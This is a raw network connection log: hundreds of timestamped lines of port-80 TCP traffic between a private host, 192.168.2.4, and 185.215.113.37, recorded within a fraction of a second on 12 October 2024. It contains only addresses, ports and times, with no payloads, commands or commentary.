Oct 12, 2024 13:17:30.117312908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.117319107 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.117347956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.117350101 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.117350101 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.117383957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.117419004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.117424011 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.117450953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.117482901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.117506027 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.117516041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.117521048 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.117547035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.117579937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.117595911 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.117615938 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.117650986 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.117651939 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.117667913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.117712975 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.117726088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.117777109 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.117809057 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.117856026 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.117862940 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.117914915 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.117939949 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.117969036 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.117973089 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.118004084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.118036985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.118069887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.118077993 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.118077993 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.118104935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.118138075 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.118145943 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.118145943 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.118172884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.118200064 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.118210077 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.118226051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.118261099 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.118300915 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.118300915 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.118311882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.118354082 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.118366957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.118397951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.118422031 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.118441105 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.118448973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.118483067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.118496895 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.118537903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.118572950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.118581057 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.118616104 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.118624926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.118662119 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.118690968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.118705988 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.118745089 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.118746996 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.118798971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.118834972 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.118834972 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.118849039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.118885040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.118920088 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.118932009 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.118938923 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.118989944 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.119023085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.119056940 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.119064093 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.119064093 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.119105101 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.119107962 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.119162083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.119262934 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.119271040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.119323015 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.119328976 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.119378090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.119409084 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.119426966 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.119452000 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.119488001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.119524002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.119527102 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.119554043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.119570971 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.119570971 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.119589090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.119621992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.119656086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.119663954 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.119663954 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.119700909 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.119710922 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.119743109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.119750023 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.119785070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.119796038 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.119828939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.119863033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.119863987 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.119863987 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.119898081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.119930983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.119935989 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.119935989 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.119966030 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.119975090 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.120001078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.120033979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.120043039 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.120043039 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.120068073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.120088100 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.120102882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.120138884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.120143890 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.120145082 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.120172977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.120179892 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.120208025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.120242119 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.120248079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.120248079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.120275974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.120287895 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.120311022 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.120328903 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.120346069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.120352983 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.120378971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.120412111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.120420933 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.120445967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.120479107 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.120479107 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.120480061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.120513916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.120548010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.120570898 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.120583057 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.120615959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.120624065 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.120624065 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.120650053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.120663881 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.120688915 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.120721102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.120754004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.120763063 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.120763063 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.120784998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.120819092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.120825052 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.120825052 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.120851994 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.120867968 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.120884895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.120919943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.120927095 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.120927095 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.120953083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.120961905 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.120987892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.121016026 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.121021032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.121026039 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.121053934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.121087074 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.121097088 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.121097088 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.121120930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.121150017 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.121155024 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.121190071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.121205091 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.121205091 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.121222973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.121257067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.121290922 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.121298075 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.121298075 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.121325016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.121337891 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.121359110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.121362925 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.121395111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.121413946 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.121428013 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.121438026 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.121460915 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.121465921 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.121495008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.121504068 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.121529102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.121558905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.121568918 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.121570110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.121593952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.121628046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.121634960 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.121634960 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.121663094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.121697903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.121709108 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.121709108 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.121731043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.121735096 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.121767044 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.121800900 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.121808052 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.121808052 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.121834993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.121851921 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.121869087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.121903896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.121932983 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.121932983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.121943951 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.121968031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.122023106 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.122023106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.122035980 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.122052908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.122071981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.122144938 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.211191893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.211234093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.211270094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.211354017 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.211354017 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.211498022 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.211551905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.211585999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.211618900 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.211620092 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.211654902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.211656094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.211656094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.211690903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.211699009 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.211724997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.211730003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.211760998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.211795092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.211801052 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.211801052 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.211828947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.211916924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.211925983 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.211925983 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.211951971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.211992979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.211992979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.212227106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.212320089 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.212347984 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.212421894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.212470055 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.212470055 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.212475061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.212527990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.212557077 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.212583065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.212616920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.212625980 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.212625980 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.212651968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.212687969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.212693930 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.212693930 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.212722063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.212742090 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.212754965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.212790012 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.212799072 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.212799072 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.212824106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.212832928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.212858915 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.212868929 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.212891102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.212924957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.212932110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.212932110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.212959051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.212991953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.213000059 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.213000059 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.213027000 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.213064909 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.213064909 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.213066101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.213118076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.213152885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.213160038 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.213160038 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.213187933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.213222980 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.213222980 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.241538048 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.241586924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.241622925 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.241657972 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.241689920 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.241689920 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.241693974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.241729975 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.241739988 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.241739988 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.241765022 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.241820097 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.241853952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.241862059 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.241862059 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.241888046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.241925001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.241930962 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.241930962 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.241959095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.241981030 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.241993904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.242034912 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.242034912 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.242053986 CEST	80	49730	185.215.113.37	192.168.2.4
